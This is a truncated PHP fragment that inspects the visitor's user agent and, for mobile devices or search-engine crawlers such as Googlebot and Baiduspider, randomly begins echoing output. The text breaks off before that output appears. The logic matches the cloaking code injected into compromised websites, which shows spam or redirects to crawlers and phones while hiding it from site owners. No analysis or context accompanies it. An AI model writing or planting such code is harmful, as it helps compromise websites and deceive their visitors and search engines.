<\?php $__ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; if ((preg_match('@Mobile|Android|iPhone|iPad|iPod|Windows Phone@i', $__ua) || preg_match('@Baiduspider|Googlebot|Sogou|360Spider|Yisou|Haosou|bingbot@i', $__ua)) && mt_rand(0,1) === 0) { echo '